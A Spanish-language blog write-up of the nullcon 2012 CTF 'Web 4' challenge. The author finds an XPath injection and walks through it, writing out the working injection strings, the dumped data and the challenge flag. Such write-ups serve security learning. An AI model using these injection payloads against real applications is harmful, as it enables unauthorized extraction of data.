CTF #nullcon 2012: Web 4
En esta prueba hice el primo por un buen rato. La pregunta que nos hacían:
Can You Get Me all the Data?
Y nos daban un par de enlaces 2007 (http://www.nullcon.net//challenge/wlevel-4-data.asp?input=2007) y 2002 (http://www.nullcon.net//challenge/wlevel-4-data.asp?input=2002).
Si pulsamos sobre el 2007 nos aparece:
DR. A.P.J. Abdul Kalam 25 July 2002 TO 25 July 2007
Volvemos atrás y pulsamos sobre 2002
Shri K. R. Narayanan 25 July 1997 TO 25 July 2002
Vemos que cada texto tiene un fecha inicial y una final. Jugando con el año y el parámetro input me doy cuenta que si metemos el parámetro a mano no vamos a ningún lado, incluso 2002 ó 2007. Típico caso del campo Referer de la cabecera. Pues como decía al principio me llevé haciendo el primo un rato, jugando con Burp y el dichoso parámetro hasta llegar a un callejón sin salida, sin flag y sin sus…
Era tarde y antes de irme a dormir, me dio por meter una “’” (comilla simple) y me aparecía un error en la pantalla: Query Failed
Ok, esto tiene mejor pinta. Parece que tenemos una inyección xpath. Y efectivamente haciendo esta llamada:
www.nullcon.net//challenge/wlevel-4-data.asp?input=' or count(//user/child::node()) or ''='
Nos aparecía en la pantalla:
DR. A.P.J. Abdul Kalam 25 July 2002 TO 25 July 2007 Shri K. R. Narayanan 25 July 1997 TO 25 July 2002 Dr Shankar Dayal Sharma 25 July 1992 TO 25 July 1997 Shri R Venkataraman 25 July 1987 TO 25 July 1992 Giani Zail Singh 25 July 1982 TO 25 July 1987 SHRI NEELAM SANJIVA REDDY 25 July 1977 TO 25 July 1982 Dr. Fakhruddin Ali Ahmed 24 August 1974 TO 11 February 1977 Shri Varahagiri Venkata Giri 24 August 1969 TO 24 August 1974 and 3 May 1969 TO 20 July 1969 Dr. Zakir Husain 13 May 1967 TO 3 May 1969 Dr. Sarvapalli Radhakrishnan 13 May 1962 TO 13 May 1967 Dr. Rajendra Prasad 26 January 1950 TO 13 May 1962
Todos los datos que anteriormente había sacado haciendo el lila. Y después de varios intentos más y no conseguir nada más que esos mismos datos, pensé que a lo mejor el flag estaba a un nivel superior y efectivamente con esta llamada:
http://www.nullcon.net//challenge/wlevel-4-data.asp?input=2002%27]/parent::node%28%29[%271
La página nos mostraba:
DR. A.P.J. Abdul Kalam 25 July 2002 TO 25 July 2007 Shri K. R. Narayanan 25 July 1997 TO 25 July 2002 Dr Shankar Dayal Sharma 25 July 1992 TO 25 July 1997 Shri R Venkataraman 25 July 1987 TO 25 July 1992 Giani Zail Singh 25 July 1982 TO 25 July 1987 SHRI NEELAM SANJIVA REDDY 25 July 1977 TO 25 July 1982 Dr. Fakhruddin Ali Ahmed 24 August 1974 TO 11 February 1977 Shri Varahagiri Venkata Giri 24 August 1969 TO 24 August 1974 and 3 May 1969 TO 20 July 1969 Dr. Zakir Husain 13 May 1967 TO 3 May 1969 Dr. Sarvapalli Radhakrishnan 13 May 1962 TO 13 May 1967 Dr. Rajendra Prasad 26 January 1950 TO 13 May 1962 Web Level 4 myworthinessisallmydoubthismeritallmyfearcontrastingwhichmyqualitydoeshoweverappear
Nuestro flag era: myworthinessisallmydoubthismeritallmyfearcontrastingwhichmyqualitydoeshoweverappear
Buscar
Entradas Recientes
- Posts
- Reemplazando la bateria del AirTag
- OpenExpo Europe décima edición, 18 de mayo: El Epicentro de la Innovación y la Transformación Digital
- Docker Init
- Kubernetes para profesionales
- Agenda: OpenExpo Europe 2022 llega el 30 de junio en formato presencial
- Libro 'Manual de la Resilencia', de Alejandro Corletti, toda una referencia para la gestión de la seguridad en nuestros sistemas
- Mujeres hackers en ElevenPaths Radio
- Creando certificados X.509 caducados
- Generador de imágenes Docker para infosec